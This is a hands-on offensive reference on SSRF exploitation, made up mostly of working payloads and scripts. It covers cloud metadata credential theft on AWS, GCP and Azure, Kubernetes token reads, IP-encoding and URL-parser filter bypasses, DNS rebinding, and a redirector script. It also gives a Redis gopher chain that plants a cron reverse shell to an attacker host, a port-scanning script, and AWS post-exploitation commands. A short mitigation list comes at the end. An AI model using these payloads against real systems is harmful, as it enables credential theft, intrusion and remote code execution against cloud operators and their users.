SSRF — Cloud Metadata, Blind, Filter Bypass
SSRF turns a web app into an attacker's proxy into internal networks and cloud metadata. In 2019 SSRF leaked Capital One's customer data. In 2024 SSRF was in the initial foothold for multiple Ivanti / Confluence / SAP exploitation chains. Modern cloud stacks turn "the server can make a request" into "the attacker has the server's credentials" via one HTTP GET. This note is the working reference.
Where to Look
Any parameter whose value is a URL, or that the server fetches something based on:
?url= ?image= ?file= ?path= ?src= ?fetch= ?proxy= ?load=
?callback= ?redirect= ?next= ?return= ?import= ?link=
?wsdl= ?xml= ?feed= ?host= ?page= ?webhook=
Common higher-level features that often hide SSRF:
- Avatar / profile-picture "upload from URL"
- Webhook configuration (Slack, Discord, custom)
- PDF generator / HTML-to-PDF services
- Image manipulation / thumbnail generator
- Markdown renderer with remote image support
- OAuth / OpenID
redirect_uri, SAMLAssertionConsumerServiceURL - Server-side markdown preview
- RSS / Atom feed reader
- WebDAV / XML sitemap importer
- URL-health-check endpoints
- Link previews (unfurl)
- Webhook retries
- OpenGraph preview in messaging apps
- Shortlink / redirect services
First Probes
Does the server actually fetch it?
# Start a listener
interactsh-client -v
# → A_UNIQUE_SUBDOMAIN.oast.pro
# Or use a free Burp Collaborator client
Then push the collaborator URL through every candidate parameter:
curl "$TARGET/fetch?url=http://ID.oast.pro/ping"
Anything that shows up in your collaborator log is SSRF-capable. Watch for:
- HTTP hit from a cloud IP → app is running in AWS/GCP/Azure — chase metadata next.
- DNS lookup with no HTTP → server resolves but a policy denied the fetch — partial SSRF, often bypassable.
- Multiple lookups → crawler / unfurl / preview pipeline — you hit a queue, not a single request.
- User-Agent banner → tells you the library (wkhtmltopdf, headless chrome, curl, python requests, OkHttp).
Reflection vs. blind
# Reflected — response body shows the fetched content
curl "$TARGET/fetch?url=http://example.com/"
# Expect to see example.com HTML in the response.
# Blind — no content in the response, detection is OOB only
Reflected SSRF is massively more powerful because you get to read internal HTTP responses.
Cloud Metadata Endpoints
The payloads below are the single most valuable SSRF targets. If the target is in the cloud and the metadata endpoint is reachable, you almost always walk away with temporary credentials.
AWS — IMDSv1 (legacy, still common)
# Instance identity
curl "$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"
# IAM role name
curl "$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Credentials
curl "$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
# Returns:
# {
# "Code": "Success",
# "AccessKeyId": "ASIA...",
# "SecretAccessKey": "...",
# "Token": "..."
# }
Then use the creds from your workstation:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls
aws iam list-users
AWS — IMDSv2 (token-based, enforced by default on new instances)
IMDSv2 requires a PUT with a session token:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
If the SSRF primitive is only GET, IMDSv2 blocks you — unless the endpoint accepts arbitrary methods or headers you can inject. Notable bypasses:
- SSRF through a library that follows 307/308 redirects and preserves method → server-side PUT possible
- SSRF that lets you set
X-aws-ec2-metadata-token-ttl-secondsvia CRLF injection
In 2024 AWS shipped IMDSv2-required as a default for new AMIs — still many long-running workloads on v1.
GCP
curl "$TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
# Without the header, GCP refuses. If the SSRF can't inject headers, try:
curl "$TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"
# v1beta1 does NOT require the header on older GCE releases
GCP tokens come as OAuth bearer tokens — use directly with gcloud:
gcloud auth application-default print-access-token # swap in the leaked token
curl -H "Authorization: Bearer $TOKEN" https://www.googleapis.com/compute/v1/projects/PROJECT/zones/ZONE/instances
Azure
curl "$TARGET/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
-H "Metadata: true"
curl "$TARGET/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
-H "Metadata: true"
The returned JWT is a managed-identity token — use with az rest or direct REST calls.
DigitalOcean
http://169.254.169.254/metadata/v1/
Oracle Cloud
http://169.254.169.254/opc/v1/instance/
http://169.254.169.254/opc/v2/instance/
Oracle v2 requires Authorization: Bearer Oracle.
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
Kubernetes pod
If the SSRF lands inside a Kubernetes pod, the service account token is at a fixed path:
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace
Combined with an SSRF that supports file://, the token is yours. Then:
curl -k -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/default/pods
If there's a cluster-admin binding (common on misconfigured shared tenants), you own the cluster.
Filter Bypass
Defenders try to block metadata IPs / private ranges. Here's how filters fail.
IP representation tricks
Filter checks for 169.254.169.254 as a string. Bypass:
# Decimal
http://2852039166/
# Hex
http://0xA9FEA9FE/
# Octal
http://0251.0376.0251.0376/
http://0251.00376.00251.00376/
# Dotted-decimal with leading zeros
http://169.00254.169.254/
http://169.0254.169.00254/
# Mixed formats
http://0xA9.0376.43518/
http://0xA9.0xFE.0xA9.0xFE/
# Short form (some parsers)
http://0/ → 0.0.0.0 → localhost on some stacks
http://127.1/
http://127.0.0.0x1/
# IPv6
http://[::ffff:169.254.169.254]/
http://[0:0:0:0:0:ffff:a9fe:a9fe]/
Python-based filters built on socket.inet_aton accept most of the above. Go's net package is stricter.
DNS rebinding
Filter resolves hostname once, checks the IP is public, passes the fetch through. Attacker's DNS returns a public IP first, then 169.254.169.254 on the next lookup. The server resolves twice (first check, then actual fetch).
Set up:
# 1. Register a.ns1.attacker.tld with TTL 0
# 2. First lookup: return 54.0.0.1 (a real public IP)
# 3. Second lookup: return 169.254.169.254
# Tools:
# https://github.com/taviso/rbndr — free rebinder service
# https://lock.cmpxchg8b.com/rebinder.html — web UI
# Custom: use a DNS server like BIND or dnsmasq with rrtype=A and randomised A records
Payload:
?url=http://7f000001.a9fea9fe.rbndr.us/latest/meta-data/
rbndr.us randomises between the two encoded IPs on each lookup. With two fetches you hit metadata half the time — enough for stealing creds.
URL parser confusion
Different URL parsers disagree about what an URL means. Exploit the gap.
# userinfo trick — parser treats first @ as credentials, last @ as host
http://attacker.tld@169.254.169.254/
http://169.254.169.254#@attacker.tld/
http://169.254.169.254/@attacker.tld
http://attacker.tld\@169.254.169.254/
http://[::1]:80@attacker.tld/
# Fragment vs. path
http://attacker.tld/#@169.254.169.254/latest/meta-data/
# Backslash / forwardslash confusion (pre-WHATWG parsers)
http:\/\/169.254.169.254/
http:\\169.254.169.254\
Libraries to look up in the target's stack: Python urllib.parse, Go net/url, Node url (new vs legacy), Java URL vs URI, PHP parse_url, Rust url crate. The classic SSRF chain is the parser-vs-client disagreement: the validator sees attacker.tld, the HTTP client connects to 169.254.169.254.
Redirect-based bypass
Server validates the URL (it's https://attacker.tld/redirect) and fetches. Your server returns:
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/
If the HTTP client follows redirects without re-validating, you win.
# Python flask redirector to chain SSRF
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/r')
def r():
return redirect('http://169.254.169.254/latest/meta-data/', code=307)
Scheme bypass
Filter allows only http:// and https://. Try every other scheme the library implements:
file:///etc/passwd
file:///proc/self/environ
file:///proc/self/cwd/config.yml
gopher://127.0.0.1:6379/_INFO ← Redis
gopher://127.0.0.1:11211/_stats ← Memcached
dict://127.0.0.1:11211/stats
ldap://127.0.0.1/
tftp://127.0.0.1/file
ftp://127.0.0.1/
ssh2://user:pass@127.0.0.1/
smb://127.0.0.1/share/
php://filter/convert.base64-encode/resource=config.php
jar:http://attacker.tld!/file ← Java
netdoc:///etc/passwd ← Java
zip:http://attacker.tld/x.zip!/a ← PHP with ext enabled
expect://id ← PHP when expect:// wrapper loaded
file:// + /proc/self/environ often leaks env vars (DB passwords, API keys).
Gopher — Turn GET into Arbitrary TCP
gopher://host:port/_RAWBYTES sends RAWBYTES as a TCP payload to host:port. If SSRF allows the gopher: scheme, you can speak arbitrary protocols: Redis, Memcached, SMTP, internal HTTP POST, MySQL, FastCGI.
Redis RCE via gopher
# Classic Redis unauth → RCE chain:
# 1. CONFIG SET dir /var/spool/cron/
# 2. CONFIG SET dbfilename root
# 3. SET x "\n\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'\n\n"
# 4. SAVE
# Generate the gopher payload with a helper
git clone https://github.com/tarunkant/Gopherus
python2 gopherus.py --exploit redis
# → gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0A...
Feed to the SSRF:
curl "$TARGET/fetch?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0A..."
SMTP spoofing via gopher
gopher://internal.mail:25/_HELO%20attacker.tld%0D%0AMAIL%20FROM%3A...
SSRF → internal HTTP POST
gopher://internal-api:8080/_POST%20/internal/delete%20HTTP/1.1%0D%0AHost%3A%20internal%0D%0AContent-Length%3A%200%0D%0A%0D%0A
Gopher is an SSRF multiplier. If it's available, you have TCP.
Blind SSRF
No response body, no error message. Detection is OOB or timing.
OOB
Interactsh / Burp Collaborator as above. Every hit is proof.
Timing
If the OOB channel is firewalled, time the response:
# Internal host that exists — fast TCP handshake
time curl "$TARGET/fetch?url=http://10.0.0.1:80/"
# Internal host that doesn't exist — timeout
time curl "$TARGET/fetch?url=http://10.0.0.99:80/"
Millisecond-level differences tell you the host is reachable (or not). Build a port scanner:
import requests, time
for ip in [f'10.0.0.{i}' for i in range(1,255)]:
for port in [22, 80, 443, 3306, 5432, 6379, 8080, 8443]:
t0 = time.time()
requests.get(f'https://target/fetch', params={'url': f'http://{ip}:{port}/'}, timeout=10)
dt = time.time() - t0
if dt < 1.0:
print(f'{ip}:{port} open')
elif dt > 9.0:
print(f'{ip}:{port} filtered')
Slow, noisy, but effective when OOB is blocked.
DNS-only blind SSRF
If the SSRF allows hostname but the TCP egress is blocked, DNS lookups still happen:
?url=http://secret-token.$(hostname -I).attacker.tld
Wait — no, hostname interpolation doesn't work server-side. But subdomain wildcards with attacker's DNS do:
?url=http://%s.attacker.tld
where %s is the data you're trying to extract — if the server resolves it, your DNS server logs it.
Common Internal Service Fingerprints
Once you've got SSRF that can hit internal IPs, these ports pay the biggest dividends:
| Port | Service | Default state |
|---|---|---|
| 22 | SSH | Banner grab only (no RCE via SSRF) |
| 80, 8080, 8000 | Internal HTTP (dev tools, admin panels) | Jackpot |
| 443, 8443 | Internal HTTPS | Same |
| 3306 | MySQL | Banner only, gopher gets you further |
| 5432 | PostgreSQL | Same |
| 6379 | Redis | Unauth RCE via gopher (most common in CTFs / real apps) |
| 11211 | Memcached | Data reads via gopher |
| 2375 | Docker API | Unauth → full host RCE |
| 2379 | etcd | Key-value store, often unauth |
| 5000 | Docker registry | Image pulls / metadata |
| 8080 | Jenkins / Tomcat | Auth bypass + script console |
| 9200 | Elasticsearch | Unauth query, sensitive data |
| 15672 | RabbitMQ management | Admin auth often guest/guest |
| 8500, 8600 | Consul | Service discovery, KV |
| 4243, 4244 | Docker Swarm | Same as 2375 class |
# Quick fingerprint via reflected SSRF
for p in 22 80 443 2375 6379 8080 9200 15672; do
echo "=== $p ==="
curl -s "$TARGET/fetch?url=http://127.0.0.1:$p/"
done
Recent SSRF CVEs
| CVE | Product | Impact |
|---|---|---|
| CVE-2019-0708 (not SSRF, noise) | — | — |
| CVE-2021-26855 | Exchange Proxylogon | SSRF chain to RCE — mass exploited |
| CVE-2021-40539 | Zoho ManageEngine ADSelfService Plus | SSRF used in initial access |
| CVE-2022-26134 | Confluence OGNL | Related class, pair with SSRF |
| CVE-2023-22515 | Confluence Data Center | Privesc with SSRF-adjacent primitives |
| CVE-2023-46604 | Apache ActiveMQ | Unauth RCE, not SSRF but commonly paired |
| CVE-2024-3400 | PAN-OS GlobalProtect | Command injection, SSRF pivot to internal |
| CVE-2024-21893 | Ivanti Connect Secure SAML | SSRF bypass allowing unauth → auth |
| CVE-2024-28987 | SolarWinds Web Help Desk | SSRF into hardcoded creds |
| CVE-2024-29847 | Ivanti EPM | Deserialisation, paired with SSRF in chain |
| CVE-2024-45195 | Apache OFBiz | Path confusion → SSRF → RCE |
| CVE-2025-1974 | Ingress-NGINX Controller | Config injection chain ("IngressNightmare"), SSRF is one of the pivot stages |
| CVE-2019-5418 (classic) | Rails file disclosure | Template path injection reaches file:// reads, SSRF-adjacent |
| CVE-2022-1388 | F5 BIG-IP iControl | Auth bypass, SSRF-style |
Two trends from 2023–2025:
- Gateway / VPN appliances (Ivanti, F5, Fortinet, Palo Alto) ship with internal HTTP APIs reachable via SSRF primitives — every month there's a new one.
- Kubernetes ingress / service mesh misconfigurations convert localhost SSRF into cross-namespace access.
Real-World SSRF → Full Compromise Chain
Baseline shape: SSRF → cloud metadata → IAM creds → privilege escalation → data exfil.
# Step 1 — leak IAM credentials
curl "$TARGET/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
# {AccessKeyId: ASIA..., SecretAccessKey: ..., Token: ...}
# Step 2 — configure
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Step 3 — enumerate what the role can do
aws sts get-caller-identity
aws iam get-account-authorization-details 2>/dev/null # often denied
aws iam list-attached-role-policies --role-name ec2-role
for p in $(aws iam list-attached-role-policies --role-name ec2-role --query 'AttachedPolicies[].PolicyArn' --output text); do
aws iam get-policy-version --policy-arn $p --version-id v1
done
# Step 4 — classic pivots
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path /prod --recursive
aws lambda list-functions # code review for more creds
Separate note: a seemingly low-privilege ec2:DescribeInstances role can be the stepping stone to extracting user-data scripts, which almost always contain hardcoded secrets.
Mitigation Patterns to Recommend
- Deny-by-default egress on the backend — only whitelist exact target domains for features that legitimately need them.
- IMDSv2 required on every EC2 (or kill IMDS completely when possible).
- PodSecurity / ServiceAccount scoping on Kubernetes — no
cluster-adminbindings for web pods. - Two-step URL validation — resolve the hostname once to an IP, check the IP against the block list, then pass the IP (not the hostname) to the HTTP client so it can't re-resolve. Libraries like
requestsdon't do this by default. - Disable unused URL schemes in the HTTP library (
file://,ftp://,gopher://,dict://). - Header filtering — strip
Metadata:/X-aws-ec2-metadata-tokenfrom cloud-fetched resources. - Network segmentation — metadata service can't reach the web tier from an egress gateway → no SSRF harvest.
Quick Reference
# Every SSRF engagement, first five payloads
curl "$TARGET/?url=http://ID.oast.pro/1"
curl "$TARGET/?url=http://169.254.169.254/latest/meta-data/"
curl "$TARGET/?url=file:///etc/passwd"
curl "$TARGET/?url=gopher://127.0.0.1:6379/_INFO"
curl "$TARGET/?url=http://127.0.0.1:8500/v1/kv/?recurse" # Consul
# Cloud enum once you have metadata
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name ROLE
aws s3 ls
aws secretsmanager list-secrets --max-results 100
# Gopherus — turn one fetch into Redis RCE
gopherus --exploit redis
gopherus --exploit mysql
gopherus --exploit fastcgi
gopherus --exploit postgresql
gopherus --exploit smtp
Pairs with RCE and XXE — XXE especially, because XXE is SSRF in another shirt.